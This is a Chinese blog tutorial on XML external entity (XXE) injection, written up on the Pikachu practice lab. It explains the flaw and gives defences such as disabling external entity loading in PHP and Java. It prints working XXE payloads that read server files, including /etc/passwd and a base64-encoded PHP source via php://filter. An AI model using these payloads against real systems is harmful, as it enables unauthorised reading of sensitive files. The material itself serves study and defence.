【Pikachu】XML外部实体注入实战

若天下不定,吾往;若世道不平,不回!

1.XXE漏洞实战

首先写入一个合法的xml文档

<?xml version = "1.0"?>
<!DOCTYPE gfzq [<!ENTITY gfzq "gfzq">
]>
<name>&gfzq;</name>

发现成功解析

在这里插入图片描述

这个xml文档payload中&gfzq;是用来将gfzq这个实体进行调用,gfzq实体成功在前端回显。

外部实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

外部实体payload

<?xml version = "1.0"?>
<!DOCTYPE gfzq [<!ENTITY gfzq SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&gfzq;</x>

成功读取到文件

在这里插入图片描述

<?xml version = "1.0"?>
<!DOCTYPE gfzq [<!ENTITY gfzq SYSTEM "file:///etc/passwd">
]>
<x>&gfzq;</x>

2.XXE漏洞学习

XML 外部实体注入漏洞(XXE - XML External Entity Injection) 是一种常见的安全漏洞,通常发生在服务器端解析用户提供的 XML 数据时。攻击者利用这个漏洞可以控制服务器执行不安全的操作,或者窃取敏感数据。该漏洞源自 XML 解析器在处理 XML 文档时,错误地允许外部实体的解析和访问。以下是对该漏洞的详细说明和扩展。

1. 什么是 XML 外部实体(XXE)注入漏洞?

XML 外部实体注入漏洞(XXE)是一种攻击方式,攻击者通过提交特殊构造的 XML 数据,使得服务器在解析 XML 数据时,解析器尝试访问外部实体(例如文件、URL 或其他资源)。如果服务器没有适当的安全控制,恶意用户可以借此漏洞执行多种攻击:

  • 信息泄露:攻击者可以通过解析器读取服务器上敏感的本地文件,例如 /etc/passwd/etc/shadow 或其他重要配置文件。
  • 拒绝服务攻击(DoS):攻击者通过构造恶意的 XML 数据,使得服务器不断加载外部实体,从而消耗资源导致服务不可用(如通过“千年蟲”攻击)。
  • 远程代码执行:如果 XML 外部实体指向一个恶意服务器,攻击者可以通过发送恶意请求,让服务器加载并执行远程代码。
  • 绕过身份验证:攻击者可以借此漏洞绕过某些身份验证机制,或者访问通常无法直接访问的资源。

2. XXE 漏洞的工作原理

XXE 漏洞的本质是 XML 解析器处理 XML 文件时错误地解析外部实体(Entities),这些外部实体的内容通常是一个 URI 或路径。XML 外部实体定义允许 XML 文档引用外部资源。一个典型的 XML 外部实体定义如下所示:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >] >
<foo>&xxe;</foo>

在上面的例子中,xxe 是一个外部实体,指向 /etc/passwd 文件。当服务器解析这个 XML 文件时,它会尝试加载并显示这个文件的内容,攻击者因此能够访问系统的敏感信息。

3. 如何触发 XXE 漏洞?

攻击者通常会通过以下步骤触发 XXE 漏洞:

  • 构造恶意的 XML 文件:攻击者构造一个包含外部实体引用的 XML 数据。例如,通过将恶意的 <!ENTITY> 标签嵌入到 XML 文档中,指向敏感的本地文件或外部服务器。
  • 提交给服务器解析:攻击者将该 XML 文件提交给服务器端,通常通过提交表单、API 请求或者文件上传等方式。
  • 服务器解析并执行外部实体:如果服务器未正确配置或未禁用外部实体解析,XML 解析器会处理这些外部实体,导致信息泄露或执行其他恶意行为。

4. 防御措施

为了防止 XXE 漏洞,许多现代编程语言和库已经采取了默认禁用外部实体解析的策略,防止恶意输入被解析。以下是一些常见的防护措施:

  • 禁用外部实体解析:在解析 XML 数据时,确保禁用外部实体的解析功能。许多 XML 解析库(如 PHP 的 libxml、Python 的 lxml 等)提供了禁用外部实体解析的选项。

    • 在 PHP 中,可以使用 libxml 来禁用外部实体解析:

      libxml_disable_entity_loader(true);
      
    • 在 Java 中,可以通过设置 XMLInputFactory 配置来禁用外部实体解析:

      XMLInputFactory factory = XMLInputFactory.newInstance();
      factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
      
  • 使用白名单:如果必须允许 XML 文档中引用外部实体,可以限制允许加载的外部实体的源,仅允许信任的来源。

  • 使用现代解析器:许多现代 XML 解析器(如 libxml2 2.9.0 及以上版本)默认禁用外部实体解析。确保使用最新版本的解析器,以利用这些内建的安全机制。

  • 输入验证与过滤:对用户输入的 XML 数据进行严格的验证和过滤,防止注入恶意的 XML 实体。

  • 安全配置:确保服务器上的文件系统权限正确配置,防止敏感文件暴露给不必要的进程和用户。

5. 案例:PHP 中的 XXE 漏洞模拟

为了演示 XXE 漏洞的触发,下面是一个在 PHP 环境中开启外部实体解析的示例:

libxml_disable_entity_loader(false); // 手动启用外部实体解析$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >] >
<foo>&xxe;</foo>
XML;$doc = new DOMDocument();
$doc->loadXML($xml);  // 解析XML,尝试加载外部实体
echo $doc->saveXML();  // 输出解析结果

在上面的示例中,libxml_disable_entity_loader(false) 手动启用了外部实体解析。攻击者通过传入类似的恶意 XML 数据,服务器会试图加载 /etc/passwd 文件并将其内容输出。

6. 总结

XXE(XML 外部实体注入)漏洞是一种常见且危险的攻击方式,攻击者可以利用它访问敏感信息、触发拒绝服务攻击,甚至执行远程代码。为了防止这种漏洞,开发者应始终确保:

  • 使用安全的 XML 解析器配置,禁用外部实体解析。
  • 定期更新库和框架,确保使用最新的安全版本。
  • 对外部输入进行严格的验证和过滤。

现代编程语言和库通常已提供针对 XXE 漏洞的防护措施,但开发者仍需警惕潜在的配置不当和漏洞风险。

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN: 
https://rdyx0.blog.csdn.net/公众号:儒道易行
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/17398.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

游戏引擎学习第13天

视频参考:https://www.bilibili.com/video/BV1QQUaYMEEz/ 改代码的地方尽量一张图说清楚吧,懒得浪费时间 game.h #pragma once #include <cmath> #include <cstdint> #include <malloc.h>#define internal static // 用于定义内翻译单元内部函数 #…

(一)Ubuntu20.04服务器端部署Stable-Diffusion-webui AI绘画环境

一、说明 cup型号&#xff1a; Intel(R) Celeron(R) CPU G1610 2.60GHz 内存大小&#xff1a; 7.5Gi 356Mi 4.6Gi 1.0Mi 2.6Gi 6.8Gi Swap: 4.0Gi 0B 4.0Gi 显卡型号&#xff1a;NVIDIA P104-100 注意&#xff1a…

Python Tornado框架教程:高性能Web框架的全面解析

Python Tornado框架教程&#xff1a;高性能Web框架的全面解析 引言 在现代Web开发中&#xff0c;选择合适的框架至关重要。Python的Tornado框架因其高性能和非阻塞I/O特性而备受青睐。它特别适合处理大量并发连接的应用&#xff0c;比如聊天应用、实时数据处理和WebSocket服务…

ubuntu20.04安装anaconda

在anaconda的官网&#xff08;Anaconda | The Operating System for AI&#xff09;或者清华镜像源网站&#xff08;Index of /anaconda/archive/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror&#xff09;中下载对应的anaconda版本 可以在网页直接下载或者通过命…

平衡二叉搜索树之 红黑 树的模拟实现【C++】

文章目录 红黑树的简单介绍定义红黑树的特性红黑树的应用 全部的实现代码放在了文章末尾准备工作包含头文件类的成员变量和红黑树节点的定义 构造函数和拷贝构造swap和赋值运算符重载析构函数findinsert【重要】第一步&#xff1a;按照二叉搜索树的方式插入新节点第二步&#x…

【设计模式】行为型模式(四):备忘录模式、中介者模式

行为型模式&#xff08;四&#xff09;&#xff1a;备忘录模式、中介者模式 7.备忘录模式&#xff08;Memento&#xff09;7.1 通俗易懂的解释7.2 具体步骤7.3 代码示例7.3.1 定义发起人7.3.2 定义备忘录7.3.3 定义管理者7.3.4 客户端7.3.5 输出 7.4 总结 8.中介者模式&#xf…

Thinkpad E15 在linux下升级 bios

安装xubuntu 24.04后&#xff0c;发现键盘的Fn按键全都无法使用&#xff0c;在Windows环境下是正常的&#xff0c;按说是驱动的问题&#xff0c;网上也有说可以通过升级BIOS解决&#xff0c;所以打算升级看看&#xff0c;升级有风险。 参考&#xff1a; https://blog.stigok.c…

Java学习Day61:薄纱王灵官!(Nginx review)

1.Nginx是什么 Nginx是一款轻量级、高性能&#xff0c;并发性好的HTTP和反向代理服务器 2.功能 2.1反向代理 正向代理是指客户端向代理服务器发送请求&#xff0c;代理服务器代表客户端去访问目标服务器。简单来说&#xff0c;正向代理是客户端的代理&#xff0c;客户端通过…

MATLAB用到的矩阵基础知识(矩阵的乘和矩阵的逆)

1. 矩阵乘法 方法: 设第一个矩阵为 A A A,第二个矩阵为 B B B,则 A A A的第一行乘 B B B的第一列,先想乘再相加,作为目标矩阵的一个元素。 前提条件: 所以我们可以看到矩阵相乘的前提条件:第一个矩阵的列数等于第二个矩阵的行数。否则,我们就无法进行行和列的相乘。 最…

Oracle OCP认证考试考点详解082系列22

题记&#xff1a; 本系列主要讲解Oracle OCP认证考试考点&#xff08;题目&#xff09;&#xff0c;适用于19C/21C,跟着学OCP考试必过。 105. 第105题&#xff1a; 题目 解析及答案&#xff1a; 题目翻译&#xff1a; 关于Oracle数据库中的事务请选择两个正确的陈述&#xf…

【ict基础软件赛道】真题-50%openGauss

题目取自赛前测试链接 OpenGauss安装前使用哪个工具检查环境是否符合安装哪个功能不是gs_guc工具提供的opengauss数据库逻辑复制的特点描述正确的是opengauss的全密态数据库等值查询能力描述正确的是哪个不属于ssh客户端工具opengauss三权分立说法正确的是opengauss wdr snapsh…

MDK5(Keil5)工具设置及技巧

设置&#xff1a; 1点击扳手&#xff08;设置&#xff09; 2文字设置为GB2312简体 3勾选显示空格 4按一下TAB键移动4个空格 修改keil中数字大小及颜色&#xff08;增加对比&#xff09; 勾选全部 1提示结构体 2提示函数参数 3打上几个英文符号后开始提示 4TAB作为填充字符 5打开…

4G模组Air780E对json数据处理的基本方法~

4G模组Air780E在数据传输和处理中扮演着越来越重要的角色。在实际应用中&#xff0c;JSON作为一种轻量级的数据交换格式&#xff0c;被广泛应用于网络数据传输和存储。本文将详细介绍4G模组Air780E对JSON数据处理的基本方法&#xff0c;以帮助开发者更好地利用这一模组进行数据…

学习使用LVGL,依赖官方网址

LVGL Basics — LVGL documentation LVGL基础知识 LVGL是一个开源的图形库&#xff0c;提供创建嵌入式GUI的一切 LVGL数据流 您为每个物理显示面板 创建一个显示器 (lv_display) &#xff0c;在其上创建屏幕小部件&#xff0c;将小部件添加到这些屏幕上。要处理触摸、鼠标、…

【数据库】组合索引生效规则及索引失效

文章目录 索引演示示例组合索引索引失效 索引演示示例 # 创建表结构 CREATE TABLE Employees (EmployeeID INT PRIMARY KEY,FirstName VARCHAR(50),LastName VARCHAR(50),DepartmentID INT,Salary DECIMAL(10, 2),HireDate DATE );# 插入示例数据 INSERT INTO Employees (Empl…

力扣 LeetCode 145. 二叉树的后序遍历(Day6:二叉树)

解题思路&#xff1a; 方法一&#xff1a;递归&#xff08;左右中&#xff09; class Solution {List<Integer> res new ArrayList<>();public List<Integer> postorderTraversal(TreeNode root) {recur(root);return res;}public void recur(TreeNode ro…

用指针遍历数组

#include<stdio.h> int main() {//定义一个二维数组int arr[3][4] {{1,2,3,4},{2,3,4,5},{3,4,5,6},};//获取二维数组的指针int (*p)[4] arr;//二维数组里存的是一维数组int[4]for (int i 0; i < 3; i){//遍历一维数组for (int j 0; j <4; j){printf("%d &…

[HCTF 2018]Warmup 详细题解

知识点: 目录穿越_文件包含 static静态方法 参数传递引用 mb_strpos函数 mb_substr函数 正文: 页面有一张 滑稽 的表情包,查看一下页面源代码,发现提示 那就访问/source.php 得到源码 <?phphighlight_file(__FILE__);class emmm{public static function checkFil…

从0-1训练自己的数据集实现火焰检测

随着工业、建筑、交通等领域的快速发展,火灾作为一种常见的灾难性事件,对生命财产安全造成了严重威胁。为了提高火灾的预警能力,减少火灾损失,火焰检测技术应运而生,成为火灾监控和预防的有效手段之一。 传统的火灾检测方法,如烟雾探测器、温度传感器等,存在响应时间慢…

小程序20-样式:自适应尺寸单位 rpx

手机设备的宽度逐渐多元化&#xff0c;也就需要开发者开发过程中&#xff0c;去适配不同屏幕宽度的手机&#xff0c;为了解决屏幕适配问题&#xff0c;微信小程序推出了 rpx 单位 rpx&#xff1a;小程序新增的自适应单位&#xff0c;可以根据不同设备的屏幕宽度进行自适应缩放 …